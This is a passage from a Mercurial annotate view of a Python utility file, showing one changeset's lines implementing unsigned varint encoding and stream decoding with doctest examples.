diff changeset
  4250
    '\\x7f'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4251
    >>> uvarintencode(1337)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4252
    '\\xb9\\n'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4253
    >>> uvarintencode(65536)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4254
    '\\x80\\x80\\x04'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4255
    >>> uvarintencode(-1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4256
    Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4257
        ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4258
    ProgrammingError: negative value for uvarint: -1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4259
    """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4260
    if value < 0:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4261
        raise error.ProgrammingError('negative value for uvarint: %d'
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4262
                                     % value)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4263
    bits = value & 0x7f
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4264
    value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4265
    bytes = []
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4266
    while value:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4267
        bytes.append(pycompat.bytechr(0x80 | bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4268
        bits = value & 0x7f
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4269
        value >>= 7
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4270
    bytes.append(pycompat.bytechr(bits))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4271
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4272
    return ''.join(bytes)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4273
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4274
def uvarintdecodestream(fh):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4275
    """Decode an unsigned variable length integer from a stream.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4276
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4277
    The passed argument is anything that has a ``.read(N)`` method.
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4278
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4279
    >>> try:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4280
    ...     from StringIO import StringIO as BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4281
    ... except ImportError:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4282
    ...     from io import BytesIO
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4283
    >>> uvarintdecodestream(BytesIO(b'\\x00'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4284
    0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4285
    >>> uvarintdecodestream(BytesIO(b'\\x01'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4286
    1
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4287
    >>> uvarintdecodestream(BytesIO(b'\\x7f'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4288
    127
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4289
    >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4290
    1337
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4291
    >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4292
    65536
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4293
    >>> uvarintdecodestream(BytesIO(b'\\x80'))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4294
    Traceback (most recent call last):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4295
        ...
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4296
    Abort: stream ended unexpectedly (got 0 bytes, expected 1)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4297
    """
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4298
    result = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4299
    shift = 0
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4300
    while True:
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4301
        byte = ord(readexactly(fh, 1))
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4302
        result |= ((byte & 0x7f) << shift)
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4303
        if not (byte & 0x80):
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4304
            return result
2384523cee4d util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents: 35754
diff changeset
  4305
        shift += 7